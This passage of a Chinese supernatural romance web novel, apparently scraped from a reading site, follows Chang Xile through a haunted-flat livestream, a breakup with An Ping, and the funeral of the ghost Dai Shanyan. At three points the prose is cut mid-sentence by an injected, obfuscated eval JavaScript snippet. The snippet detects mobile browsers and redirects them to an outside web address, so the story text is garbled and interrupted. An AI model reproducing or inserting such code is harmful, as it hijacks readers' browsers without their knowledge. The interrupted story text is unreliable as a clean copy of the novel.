常喜乐看直播看得正揪心呢,后面床上的方信艾还一个劲自言自语:“真的假的啊?居然是凶宅,这也太吓人了。” 结果杨瑰司还有空给她回消息。 (^v^) :[你就这么相信我了?] 王鬼:[信啊] 常喜乐是那个人的亲人。她说的话,杨瑰司愿意相信。 常喜乐犹豫了一会儿,觉得杨瑰司值得信任。 (^v^) :[听他养的黑猫说的,它刚一直冲着主人身后方向叫,就是在说吊灯上挂着个人。] 来不及问常喜乐为什么能听懂猫说话了,男粉问完房东后,皱着眉对镜头说:“房东说,绝对没有的事儿。” 弹幕里还在给他支招: “你就这么问人家肯定不承认呀!” “你不能不确定地问,你得质问。在不到走投无路的时候,撒谎的人是不会说真话的。” 偶尔也有路人疑惑:“为啥大家都这么相信主播?她要说的是假话,那对房东来说岂不是无妄之灾?” 杨瑰司却从这些信息里发现了些端倪,她偏了偏头,目光紧锁到对方身后的某个位置,问:“你家猫平常就喜欢叫吗?它这样多久了。” “我家猫以前很乖的。”男粉丝把黑猫拥在怀里抚摸着安抚情绪,但镜头里能看到,猫还紧紧盯着主人背后的方向,看样子十分警惕,“但是自从搬家之后,它就不太习惯这里的环境,老是在屋里叫。” 杨瑰司继续说:“你把摄像头移到你的窗户边上。” 男粉丝懵懵的,但立刻照做。 “拉开窗帘。”她指示道。 唰。 随着窗帘被利索地拉开,墙壁上挂的一串花纹复杂的铃铛就赫然显露出来,被窗帘带动得发出叮铃铃的响声。 “你挂的?”杨瑰司问。 “不……不是啊。”男粉丝否认,他看着这串铃铛,莫名觉得心里毛毛的,“这是啥呀?” “带我在你房间四个角落看看,方便吗?”杨瑰司没直接回答他,她还需要更多信息。 男粉丝立刻拿着手机沿着房间四周走,他没走几步,杨瑰司就点出房间里原本被人忽略的东西——每个角落都挂着一串铃铛。 “都是你房东留下来的?”杨瑰司笑一声,“你就不好奇他为什么要挂这些吗?” “我以为装饰品来着。”男粉丝大着胆子问,“我要把这些铃铛摘下来不?” “从符文来看,这叫做辟邪铃,本身有没有作用另说。但你房东把他们布置在房间里,就已经说明了他心里有鬼。这些只是乍一下能看到的装饰,回头你再在房间的角落里找找有没有房东留下的东西。不过,我建议你最好还是找机会搬走。”在得出答案后,杨瑰司反而显得放松了下来,她半靠在椅背上,不紧不慢地喝了口茶,唇色也随之红润起来。 男粉丝把这些铃铛都拍了个照,又坐回椅子上,开始质问房东。 而弹幕里则炸开了锅,有部分人觉得毛骨悚然,还有一部分接着疑惑: “666,主播都是咋知道这些的?” “还没说呢,这和他一坐椅子上就脖子疼有啥关系?” 杨瑰司的手搭在头上,有规律地用食指点着太阳穴,如果是以前的她,或许能回答这个问题,但现在,她并不知道。 或许,得看那只黑猫究竟看到了些什么吧? 话音刚落,那黑猫又对着主人身后叫起来。它扒着主人的衬衫想往他肩膀上爬,对着他的后领口又抓又咬的。 杨瑰司下意识看向自己的手机,果然,下一秒就传来“叮铃”一声响。 (^v^) :[吊死鬼的脚尖……在长年的晃荡中不间断地踢着他的后颈脖。] 常喜乐打完这段字就一阵恶寒,怪不得他养的那只黑猫长时间处于不安的状态下。换谁看到这种场景能安心睡觉? 那男粉听完鬼司转述,再也坐不下去了,又转到另一边的沙发上坐下。很快他就激动地对鬼司说:“房东承认了,这是凶宅!” 弹幕也补充了几句:“房东在签订合同的时候隐瞒房屋是凶宅的情况,我记得好像是可以商量退租的?你去找律师了解一下吧。” “这也太倒霉了,不能细想……” “我赢啦!我就说是灵异事件吧哈哈哈哈哈哈!赌了几十次,总算给我猜对一回!” “楼上也太犟了哈哈哈哈哈,好险每次都是无奖竞猜。” 这事儿就算是解决了。 然而杨瑰司却并不显得很高兴,她沉默地看着热闹的弹幕里的语句和来自一些粉丝大方的打赏,还是决定把原本要说的话说完。 “这个频道,可能要面临一段时间的停播,你们不用等我。” 她没有管弹幕铺天盖地的疑问,只是结束了直播。 常喜乐看着黑色屏幕上“您所关注的主播已下播,5秒后切换下一个视频”的提示,听刚才还直呼“可怕”的方信艾不可思议地问:“什么情况?她这是要退网吗?” 她拿起手机,也问了同一个问题。 (^v^) :[什么情况?] 杨瑰司似乎知道她要来问,回得很迅速。 王鬼:[给我一点时间。] 王鬼:[以后再告诉你。] 常喜乐点点头,接受每个人都有暂时说不出口的秘密。她深呼出一口气,想到自己也间接帮助了一个被鬼魂困扰的人,心里莫名涌上说不出的感觉。 原来这个奇怪的能力,也可以帮助别人吗? 叮叮,手机又响了一声。 杨瑰司不是刚回过消息吗?常喜乐有些疑惑地拿起手机,来信人却不是她想的那个。 过去的几个小时,常喜乐给安平打了几个电话都显示未接,最后发了条消息,请对方有空时回复。 就在刚才,安平回复了。 他说:[我在画室] 他没有解释自己怎么走散了,也没告诉她为什么自己一直没接电话。 常喜乐深呼出一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699638|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,站起身收拾了东西准备出门。 “你又要出门呀?”方信艾听见动静又翻身坐起来,她拉开床帘一角可怜巴巴地问,“才刚回来怎么又要走?” “我有点事。”常喜乐安抚性地对她一笑,“乖,小艾,等回来我给你带好吃的。” “好吧……”方信艾点点头表示批准,她嘟囔着,“这两天你们不在,我一个人住在寝室总觉得怪怪的。你要早点回来哦!” “我觉得少刷点灵异向直播会更管用噢!”常喜乐笑着把宿舍门带上。 已经到了国庆假期,大学生们有回家的、结伴旅游的、宅在宿舍的……总之街上的人非常少,教学楼里就更不用说了。 常喜乐走到那栋熟悉的红砖楼,这一整栋建筑安静得几乎没有生气,让人很难相信里面还有人在。 她顺着楼梯走到了顶楼,穿过长廊来到了末间画室,随后敲了敲门。 “请进。”熟悉的人声响起。 常喜乐按下门把手,走进房间,映入眼帘的是安平的背影。 他的正对面是一扇欧式拱形窗,两扇木窗门打开,透过窗户能看见落日在远山中慢慢沉没,天际的云彩被壮烈的色彩晕染,像在渗血。 安平没有回头,用画笔蘸了颜料在他的画板上滑开一道痕迹,分明是很随性的一笔,却在云霞间加了一只飞鸟,使整幅画莫名涌现出了生命的气息。 常喜乐慢慢走到他身旁,脚下木板年代有些久远,随着重力变化发出“吱呀”响声。她的视线从这幅画转移到了安平的头顶。 咦? 她无声的疑惑,把手轻轻搭在了安平的鬓边。 与此同时,安平终于完成了他作的画,神采飞扬地转过头来,弯唇笑着说:“我画完了!” 常喜乐扬眉,看向刚才被他遮住一大半的那幅画。熟悉的结构,她想起来了,这是上一回来画室找安平的时候,他在绘制的那幅落日余晖图。 “……好漂亮。”常喜乐差点没有找到自己的声音。在来之前,她其实有很多话想问安平,然而现在却只能说出赞美的话来。 尽管第一次见这幅画时,它还只是个半成品,就已经能让人看出来其技艺不俗。然而常喜乐没想到,在安平完成这一整幅画之后,其笔墨间喷涌出来的自然壮丽之美却如此让人动容。 言辞之匮乏让她说不出太多溢美之词,只是眼睛不眨地盯着这幅画,想观察其间的每一处细节。 安平的眼睛亮亮的,他不错眼地看着常喜乐显出痴迷的神色来,笑着说:“送给你。” “什么?”常喜乐眨眨眼,还没反应过来。 很快她就想起来,安平当时说过,等这幅画作完就送给她。那时只以为是句无心的承诺,连画会不会接着画完也未可知。没想到安平却一直记在心上。 她又把视线还给了安平,他仰头看着常喜乐,落日的光辉透过窗洒在他的脸上,湖蓝色的瞳孔泛出漂亮的光泽,她几乎能看见他脸上细小的绒毛。他讨赏的意图实在太明显,简直像一只小猫摇着尾巴求夸奖。 常喜乐摸了摸他的头发,仿佛是一种嘉奖。 然而她的下一句话就让安平有些笑不出来。 “安平,这是什么?”她流连的指尖从发顶摸到了他鬓间的蝴蝶发夹,从唇角溢出一个带笑的语气词,“嗯?” 39.发夹 安平的笑意凝在唇角,向鬓边伸手。他的尾指先是碰到常喜乐的指尖,然后才是那个陌生的蝴蝶发夹。常喜乐顿了顿,缩回手来。 他摘下发夹放在手心端详,一时沉默,不知道在想些什么。 常喜乐也没有说话,尽管她心里的疑问已经如翻江倒海般快要涌出来。这个发夹,是她在手工店亲手制作的,上面的小钻掉了一颗,全世界只此一个,应该戴在岁岁的头上才对。 “安平,我们在山上走散之后,你去了哪?” “为什么我一直联系不上你?” “这个发夹,为什么会在你这?” 安平张了张嘴,最后还是保持了沉默。因为这些问题,他一个都回答不上来。 [所以哪怕你自认为遇到了好鬼、好妖怪,也一刻也不该全然相信它们。] 唐柚曾经这样告诫过常喜乐。 可是,常喜乐想着,难道与人相处,不是一样的道理吗? 你又怎么知道,朝夕相处的人,底子里究竟是黑是白? 回答不了,没有关系。常喜乐笑着说:“我觉得,我们还是不要再做恋人了。” 这句话的意思是分手,安平听得懂。 “你不再喜欢我了吗?”他的嘴角彻底平了下来,他微微抬头,依旧仰视着常喜乐。安平的神情并不显得震惊,像是早就料到会有这样一天,然而却显得悲凉。 “你实在有太多的秘密,我看不懂你。”常喜乐摇了摇头,不知是在否认“不喜欢安平”这句话,还是只觉得无奈。 “况且,我们一点也不像恋人呀?”常喜乐想起方信艾之前对他俩状态的点评,觉得这话一点不错。她没忍住低头笑了笑,总结道,“在弄懂究竟什么是“爱”之前,我们还是先做朋友吧?” 如果安平只是她认识的一个朋友,他有再多的秘密不愿告诉常喜乐,她也不会有一点波澜。但他不只是她的普通朋友,长此以往,常喜乐心里也会有疑虑、有猜忌、有愤怒,说不定两人反而会闹到死生不复相见的程度。 所以,到此为止,也算是及时止损。 常喜乐离开画室前,被安平拦住了。 他并没有说挽留的话,只是把刚作好的画交给她:“说好了要送你。” 按理说前脚刚跟人提完分手,对这样饱含心血的礼物是应该拒绝的。常喜乐纠结地看向这幅画,欲言又止。 无他,她是真的很喜欢这幅画。 安平显然也看出了她的动摇,垂眸,抬起手晃了晃她留下的蝴蝶发夹,说:“就当是回礼了。” 说完,他把这画交到常喜乐手中,就不容拒绝地坐回了画板前。 远山间早已经不见太阳的影子,但散落的云霞如火烧,犹能从中窥见方才壮丽景色的一角。 常喜乐在石板路上慢吞吞地走,视线一直没离开手中的那幅画。 分手是原本就决定好的结果,安平也没有像传说中的前男友那样纠缠她,一切都很顺利。但不知为何,常喜乐还是觉得心里空落落的。 “真是很漂亮,难怪你不舍得。”身边突然冒出个声音,吓了她一大跳。 “谁说我不舍得他的,我可是果断地提了分手好吗?”常喜乐猛地回过神来,下意识反驳。 “我说的是画。” 戴山雁平淡的五个字让常喜乐迅速恼羞成怒。她木着脸说:“下次说话提前讲一声,不然把我吓死了谁替你去参加葬礼?” “好好好——”戴山雁没再逗常喜乐,她哄着常喜乐,想让她开心些,“你很喜欢这幅画吗?我家里有一幅比这好看的,那可是名家大师之作,有钱也买不来。喜欢的话我也送你了。” “是吗?”常喜乐并不太心动,她说,“可是这幅画已经够美了。”她不需要更好看的。 安平其实没有常喜乐想的那么淡定。 他坐在窗前,按理说应该再画一幅,但怎么也拿不起笔。 常喜乐没有回答他的问题:你不喜欢我了吗? “恋人之间应该是什么样的?”他望着窗外渐渐升起的点点繁星,问。 “我早就说过啦,你不应该只顾自己待着,偶尔也该出去走走。”窗外传来老者悠悠的叹息,“离开这破画室吧,去看看外面的人们都是怎么相爱的。” “只是一群俗人。”安平完全不感兴趣,他眉目冷淡,再也没有面对那个人时的温暖笑意。 “爱本身就是俗物。”老者反而笑了起来,他没再劝说,想起了一些陈年旧事,感叹道,“你们这些年轻人啊……” 过了一会儿,画室的门被关上,传来锁扣的声响。月光照进小屋,里头空荡荡的,而放眼望向那扇大窗之外,也分明是空无一人。 “我该去哪?” “车站,或者机场?人世间的别离与重逢有一半都在那儿。” 时值国庆,车站内外充斥着形形色色的人,热闹到简直有些嘈杂。 安平深吸了一口气,忍住转头就走的冲动,试着沉下心来。他干脆地在墙边摆了个椅子坐下,拿出随身携带的画板,开始画素描。 “陈世远!你走之前把话给我说清楚,我对你来说到底算什么?” 男人拉着个行李箱,把衣领一立遮住自己的脸就准备过安检。然而身后穿着单薄的女人一下就认出了他,冲出来揪住他的衣袖,她的妆花了,看起来像是刚哭了一场。 “逢场作戏你懂不懂啊?谁认真谁就输了!”男人神情不耐地对女人说。 然后又是新的一轮争吵。 安平的笔顿了顿。 “我真的走啦,你别再送我了。”另一边,有一对情侣正在告别。男人替女友整理着衣领,他眉目放松,相比因离别而眼眶泛红的女友来说似乎略显开心。过安检的时候,女人还在催他,“早点回家吧,我到了就给你打电话。” 然而男人拿出身份证也刷过了安检,他对着女友震惊的脸,得逞似的笑起来:“我也买了票,陪你去恒州,我们不用异地啦!” 女人揽住男友的脖子又哭又笑地跳起来。 远处有个穿旗袍的女人拎着小行李箱慢慢往车站出口走,隔着长长的围栏,一个声音吸引了她的注意力。 “安娜!”栏杆外,一个穿牛仔外套黑长裤的短发女孩抱着一大束花大喊着那女孩的名字。 旗袍女孩原本在愣神,等看清对方的脸后立刻激动地语无伦次,她一路小跑着往站外走,最后干脆撒开了行李箱,抱住那短发女孩的脖颈,低声抽泣起来:“我以为你不来了!” “你不理我,难道我就不理你啦?”短发女孩哼了她一声,“我这辈子做鬼都要缠着你,你就等着吧!” 安平的笔尖有规律地在纸上敲打,他若有所思。 人这样的生物,总是喜欢以眼泪表达感情。 离别哭泣、团聚也流泪,让人怎么分得清? 时间越来越晚,车站内的人逐渐变少。安平垂着眼,收拾东西打算离开。 然而他的耳朵动了动,听见一团东西散落的声音。一抬眼,就见无数圆润的鲜艳的橙子向他滚来,安平下意识弯腰拦住几个橙子的“逃狱”。他抬起头,看见一对年过七十的老夫妻在一边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717334|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那老先生左手牵着他的老伴,右手拎着个行李箱。那行李箱上挂着个袋子,但现在上面破了个大洞,里头的橙子全都滚落出来。老先生瞪着眼睛想去捡,又犹豫着不敢撒开他老伴的手。 那老太太的注意力却全然不在身边的人上,她仰头望着天空,指着月亮娴静地笑:“你瞧,这太阳怎么像个钩子?” 安平把包里的画纸和笔抽了出来,他一个个捡起地上的橙子装进布包里,走去递给那位老先生。 “谢谢你啊年轻人。”老先生很感激地接过这包,从里头拿出几个橙子来递给他,比划道,“这个,给你吃。” 安平犹豫着,接过了一个。他注意到老太太的视线。她的头发花白,笑容慈祥,对着安平笑:“你几岁啦,怎么头发比我还要白?” 安平顿了顿,还没来得及说话,那老先生连忙向安平赔礼:“啊……我夫人生病了,你别往心里去。” 他看了眼时间,有些着急:“我得赶车,好不容易约到了明天的专家给她看病。这个包……”他想把包还给安平,然而身上并没有地方再安置这好些个橙子了。 安平把包往老先生的方向一推,说:“送你吧,我还有很多这样的布包。”他不容拒绝地接过老先生手上的行李箱,和他们一起往站内走。 等要过安检的时候,老先生再三对他表示着感谢。老太太在丈夫为自己整理头发时却突然闹了起来:“你是谁呀!我根本不认识你,走开!走开!” 老先生不厌其烦地对她解释:“我是华安呐,你不记得我啦?” 好不容易,老太太才又安静了下来,只是神情怔忪,不住地又问:“华安呐,你怎么变得这么老啦?” 老先生笑起来:“是啊,瑞平,咱们都是老人家啦。” 安平怕他们还有需要自己搭把手的地方,等在一边送他们过安检。等候的时候,老太太突然指了指安平。 她指的是安平的鬓发间,温柔地笑起来:“这个,好看,像华安送我的那个。” 是安平发间夹着的蝴蝶结。 “你还记得呐?”老先生注视着爱人,神情变得无限温柔,他转头对在状况外的安平解释道,“是我年轻时候送她的定情信物,那时候条件不好,送个发夹就能高兴很久。她呀,现在只记得那些时候的事儿。” “不会觉得辛苦吗?”安平今晚一直安静地观察着身边所有的人和事,这是他第一次提问。问老先生,也问这许多在俗世间挣扎的人们。 “当然辛苦啊。”老先生没说什么冠冕堂皇的“不辛苦”“是我应该做的”之类的场面话,但他的神情间也没有任何怨怼之意,“可我还是稀罕她。” “她也爱我。”他一如当年般爱恋地摸了摸妻子的脸,毫不在意她脸上起的皱纹,他像对安平说,又像是自言自语,“她只是不记得我了。” 等他们快要排到队伍第一个了,老先生向安平道别:“今天真的谢谢你啦,年轻人。” 安平站在原地,看他牵着她的手,步履蹒跚地向前走。 “先生!”他突然喊了一声,那老先生转过头来,看见这位年轻人指了指头上那与他气质格格不入的漂亮发夹。 “这个。”他弯唇,露出几乎算是他今晚最灿烂的笑来,很有些骄傲地说,“也是我爱人送我的!” 老先生愣了愣,立刻爽朗地笑起来,他向安平比了个大拇指,张口说了些什么。因为距离遥远,声音隔着人群传过来时已经很模糊。 但安平听清了。 他说: “也祝你们白头偕老呐!” 40.遗愿 “你平常出门多吗?”常喜乐坐在公交车最后一排窗边,一边望着窗外不断掠过的树影,一边开口询问。 尽管她起了个大早,公交车依然满载,大概因为国庆,目的地又在景区,许多人都起早出游了。 常喜乐的短发略微炸毛,发顶还翘着呆毛,一看就是急匆匆没梳头就出门了,只用头戴式耳机作为装饰压了压。车上坐得近的人猜这小姑娘在打电话,见怪不怪地继续闭眼打瞌睡。 然而,常喜乐的耳机里没有一点声音。 “生病,不怎么出门。”戴山雁的声音从她包里的锦囊传出来,然而除了常喜乐,其他人都听不见这声音。戴山雁入神地望着延公路展开的那一望无际的荷花莲叶——以前她从不知道家附近还有这样的地方。 “你家离市区这么远,去哪不都得花很长时间吗?”常喜乐提前一晚上查好路线,发现戴家山庄坐落在偏远的景区之中,要到那儿得先坐地铁,再换乘两次公交。 “做什么都不用出门,会有人提前准备好送来。”戴山雁似乎心情不太好,言简意赅。 也是,毕竟谁参加自己的葬礼前能保持心情愉悦呢? “行叭。”常喜乐又对着窗户扒拉了一下自己的头发,看了看自己穿的这身银纹绑带连衣裙,犹豫着问,“话说,我就穿成这样来你的葬礼,真的合适吗?” 听到这话,周围的乘客都没忍住回头看了她一眼。常喜乐才意识到说错了话。她露出个人畜无害的笑容来,看着窗外继续说:“玩剧本杀当然也得符合角色啦!” 哦,剧本杀,是小年轻玩的东西。乘客们又理解了似的转回头去。 “怎么不合适?我遗言上早就写好了,参加我的葬礼必须穿得漂漂亮亮的。我不想葬礼上一片黑色,难看死了。”为此,戴山雁在前一天晚上非常用心地指挥常喜乐把衣柜里的储备全掏出来,最后选了一件最顺眼的裙子,指定要常喜乐穿来她的葬礼。 这身连衣裙是常喜乐成年那天她妈妈——也就是唐柚女士送的,专门照着她的身量找人定制了一件。乍一看设计简单,但上头的花苞袖、抽皱腰身、银色浅纹都给它增添了别样的质感。唐柚就喜欢给自个儿女儿往这种小蛋糕似的方向打扮,跟小时候过家家一样有意思。 奈何这样式儿的衣服常喜乐基本没穿过,比起裙子她更喜欢穿宽松T恤和大裤衩。 “但你穿这身挤公交确实是我没想到的。”戴山雁默默补充完。 “打车要七十块。”常喜乐强调,“你懂七十是什么概念吗?是我两天的饭钱。” 而地铁转景区公交可以半价乘坐,总花费不超七元,常喜乐毫不犹豫地就选择了后者。 “合理。”戴山雁被常喜乐算的这笔账说服了,她继续沉默地看窗外风景。 等常喜乐下了公交车,顶着清晨冷冽的寒风又走了一段路,看着身边不断有她不认识但看牌子似乎很贵的车经过后,她大概就知道自己走对了方向。 但说实话,这段通往山庄的路属实有点长了。 “早知道穿个外套了。”常喜乐吸了吸鼻子,注意到有辆车减速在她身边停了下来。 “喜乐?”后排车窗缓缓落下,露出一张熟悉的脸来。一个穿着黑色西装的青年男人神情惊讶,准确地叫出了她的名字。 常喜乐面无表情地盯着他,一直到对方的笑容都有些僵硬的时候,她才恍然道:“陈墨芯?” 是山城大学那个摄影部的学长。 “你怎么会在这?”陈墨芯笑了笑,明知故问。 常喜乐又被风吹了一道,冷得想打喷嚏了。她皮笑肉不笑地准备结束这场没有意义的寒暄:“来秋游。”随后一转身继续往山上的方向走了。 “你认识那个黑心的男的?”一直沉默不语的戴山雁突然说话了。 “黑心?”常喜乐听她这么形容,没忍住笑了出来,“你说陈墨芯啊?” “差不多吧,一个意思。”戴山雁哼了一声,“他是我爸发小的儿子,但人有点装。我不喜欢他。” 真是英雌所见略同,常喜乐还打算说点什么,就注意到那辆车一直不紧不慢地跟在她身后。 在常喜乐回头之后,陈墨芯立刻抬手示意司机停车。他刚才隐约听到常喜乐离开后还念叨了一句他的名字,嘴角不禁微微勾起,彰显了其主人的好心情,他邀请道:“上我的车吧,载你一程。” “不用了。”常喜乐拒绝,然而她没过一会儿就抿着嘴笑了起来,随后眼波带笑的转头小跑离开了。 陈墨轩定定地看她离开的背影,回味着她离开前忍俊不禁的神情,问自家司机:“她刚才是不是害羞了?” 司机师傅干笑着附和了几句,终于结束了这段刹刹开开的行程,一脚油门往半山腰开去。 常喜乐走远之后才忍不住放声大笑起来,她指责这位刚才差点让她破功的戴女士:“真是的,能不能不要这么一本正经地讲笑话啊哈哈哈哈……” “笑什么,我说错了吗?不要随便上黑心司机的车好不好。”戴山雁对这种事警惕性很高,和她一般年纪的同龄人光是绑架案就经历不知道几回了。 “你说得对。”常喜乐抬眼,她终于来到了山庄的大门口,在她身旁,一辆辆车已经通过西门的门禁开进了山庄。 在常喜乐仍在大门口逡巡时,一身黑色制服的门卫礼貌地询问她:“您是来参加戴小姐的葬礼吗?” 戴家山庄的位置偏远,来客基本都是乘车来。像常喜乐这样步行过来的还真是头一个。 “是的。”常喜乐如实回答,心里却有些没底,因为葬礼性质不同,只有讣告而没有请帖。所以不会出现“你没有被邀请”这样的戏码。但像她这样几乎不认识戴家、与戴山雁也鲜有交集的人,是否能进去呢? 常喜乐曾经问过戴山雁这个问题:“既然没有来客名单,怎么判断谁可以进去,谁又该被拦在门外呢?” “远道而来即是客,葬礼设在这样的偏远的地方,既然来了,我家不差这点座位。而如果是抱着坏心思来的。”戴山雁冷笑一声,“我家也有的是手段。” 然而门卫还是没有放行,他说:“对逝者应当保持尊重,我家主人希望来客能服装整肃,您还是换件黑色的正装再来吧。” “说的什么屁话!”她还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765237|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没作出反应,戴山雁先怒了。常喜乐伸手按了按自己随身戴的小包,示意戴山雁稍安勿躁。 随后她微微一笑,问:“你家主人,是指戴小姐的家人吗?” 见常喜乐不大配合,门卫的礼貌笑容也淡了些,一副这不是废话吗的表情。 常喜乐没有在意,继续说:“也就是说,穿黑衣服来参加葬礼其实是她家人的想法。但山雁生前指定了,希望大家能在她葬礼上穿得漂漂亮亮,尤其不要穿黑色。我觉得,遵从她的遗愿才是真正的尊重逝者吧?” “这……”门卫犹豫了片刻,他请常喜乐稍等之后回身拿着对讲机说了几句。等他回来后,神情又恢复了毕恭毕敬,微微倾身对她说:“请进。” 常喜乐也点头回礼,随后走进了为她敞开的正大门。 沿路都有侍者站着为客人指路,常喜乐连话也不好和戴山雁多说。她一路穿过花园小径往正厅走。在那个显眼的银色大圆厅在树丛掩映中逐渐显露出来时,常喜乐脚步一顿。 有很多不认识的人或站或坐地在圆厅中寒暄,常喜乐张了张嘴,轻声说:“你看。” 随着乌云蔽日,天光暗下来,山庄被群山环抱,放眼望去四周树影婆娑,那些一身黑衣的人虽然在说话,神情却无悲无喜,活像一个个从山坟里冒出的鬼影。 “所以我就说……一点也不好看。”戴山雁的语气更低落了,“没人在意我说的话,就算是我的葬礼。” “这些是你的朋友吗?”常喜乐是专门替戴山雁参加她的葬礼的,她想见的人常喜乐都要一一替她见过。 “不算吧,是我爸妈朋友们的孩子。只是同龄人……哦,中间那个是我哥。”人群中隐隐有一个中心,就是那位坐在正中央穿黑西装的年轻男人。他原本应该是负责接待客人的,然而此时却神色阴沉,不知道在想些什么,周围的人都很默契地不去打扰他。 戴山雁没精打采地看了他们一眼。她的身体不好、出门少,同龄人之间的聚会更是很少参加。所以她去世了也不会影响到谁,也许他们也是收到讣告才想起来还有这么一位姓戴的小姐。至于她哥,一直在国外留学,戴山雁死前重病时他都没回来。她还以为他连葬礼都不会参加呢。 常喜乐沉默片刻,突然问:“你的私房钱藏在哪?” “在我房间呀。”戴山雁反应过来,“怎么,你改主意了?” “对啊,准备继承你的遗产。”常喜乐笑着往圆厅走。 “那你等会可得瞅准时机。到时候你去我房间,我还有好多藏品你都可以带走。哎呀!早知道不让你穿这么精致了,连个收东西的口袋都没有。”戴山雁兴奋地盘算起来,没注意到随着常喜乐走进圆厅,空气都沉默了下来。 那位据说是戴山雁哥哥的男人一手搭着太阳穴,在听见声音后抬眼,将目光扫向常喜乐。 平心而论,戴山雁是位美人,即使生重病时五官也深邃美丽,让人一见难忘。她的哥哥和她长得像,也是相当漂亮的长相,只是此刻表情阴沉而显得过于锐利,让人感觉备受压迫。 “谁允许你穿成这样,来参加我妹妹的葬礼?”他冷声问她。 41.你妹 “你妹。”常喜乐微微一笑。 在场所有会呼气的显然都被这语出惊人的两个字吓了一跳,不约而同地屏住了呼吸。 对方的神情从阴郁变得暴怒,他握紧了桌上的茶杯杯沿,竟然露出一个笑容来:“有胆子,你就再骂一遍。” “我可没骂人。”常喜乐毫无到一个陌生场地的局促,她慢悠悠地找了个空位置坐下,还抽空对一旁盯着她的一位女士笑了笑,随后对上了这位戴……常喜乐顿了顿,低声问戴山雁,“你哥叫什么来着?” 在一些新闻中,除了那位赫赫有名的戴永辉,他的儿子偶尔也会出现在正文当中。 “戴西港。”戴山雁的声音很轻,不似平常,倒有点像她病最重的时候。那种淡淡的,了无生意的态度。 常喜乐沉吟片刻,继续接上她刚才的话:“是你妹妹,戴山雁,允许我穿这身来参加她的葬礼的。” 戴西港刚一握紧杯子,手腕还没使上力气,常喜乐瞥了一眼就知道他想摔杯,幽幽叹了一口气:“这是山雁最喜欢的一套茶具,被你摔了可就成残件了。” 众人就这么看着戴西港深吸一口气,松开了那个茶杯。他将长时间不动而略有僵硬的后背微微靠在椅子上,讽刺地笑了笑:“说得好像你很了解她。我从没听她说起过你。” “巧了,我也没听她说起过你。”常喜乐一句不漏地呛回去。她随手从桌边斟了杯茶,专注地尝了一口——一路走上来连水都没顾得喝上,她都要渴冒烟了。 空气又安静了一段时间,各家的少爷小姐们带着不同意味的视线打量她。 常喜乐这身衣服在众人一水儿的高定服装前完全不输质感。要不都说时尚的完成度靠脸,她并没有化妆,然而眉眼精致,唇不点而红,举手投足间都让人移不开眼。 戴西港等她喝完,看她不紧不慢地开口,分明是带笑的一张脸,语气间却饱含讽刺:“难道你了解她吗?山雁遗愿里说了不想葬礼上一片黑色,你偏和她对着干。” “遗愿?”戴西港蹙眉,“什么遗愿?” 常喜乐又沉默了会,听戴山雁在她耳边幽怨地吐槽:“就是我写了好久留在他书桌上,结果被这人疯了一样撕掉的那封信。” 常喜乐逐字转达。 戴西港的神情逐渐变得凝重,他站起身,突然像什么也没发生过似的对在场的所有人说:“时间差不多了,请大家进正厅吧。” 话音一落,周围一直等候的几位侍者立刻上前为客人们指引方向。客人们看热闹看到一半,还有些意犹未尽,依依不舍地走了。常喜乐耸耸肩,也准备跟着一起离开。 “你留下。”戴西港松了松腕上的表带,慢慢走向常喜乐,像是在问她,又好像在自言自语,“她竟然连这个都告诉你了?” 早几年时,戴山雁有段时间病情加重,短时间内进了好几次ICU,医生下了多次病危通知书,话里话外都透露着她活不过今年。彼时她甚至还没有成年,正是最爱跑跳的年纪,却只能躺在床上看着各种各样的管子向她的身体输入维持生命的液体。 但后来,她挺过来了,一切似乎都在好转。某一天早上,戴西港发现书桌上放了封信,打开看了几眼就撕了个粉碎。 戴山雁为此和他大吵一架。 戴西港眼神幽深,不知道在想些什么,他过了会儿才问:“你们是怎么认识的?” 常喜乐双臂环抱,扬了扬眉:“我还以为你们这样的人家,对任何接近家人的陌生人都能了如指掌呢。” 她说完,也不在乎戴西港让她“留下”的要求,径自跟着刚才人群离开的方向走了。 在常喜乐离开圆厅时,戴西港盯着她的背影,突然问:“你叫什么名字?” “常喜乐。” 风中传来她清亮的嗓音,目光中却不见此人的身影了。 戴西港眼神微闪,对站在他身后的秘书招了招手,颔首听对方低声汇报。 “我还没见过你这么有戾气的时候呢。”戴山雁刚才旁听了常喜乐和她哥之间一番夹枪带棒的对话,突然开口感叹。 “我看他不顺眼。”常喜乐气还没顺平,想起来就又被气到一次,“他怎么能这样呢?” 一个人,提前为自己写下遗书时,是抱着什么样的心情?意味着她接受了自己的生命有时限,接受了自己身边所有的一切都可能是最后一眼。每多写一个字,就是一场死亡宣判。 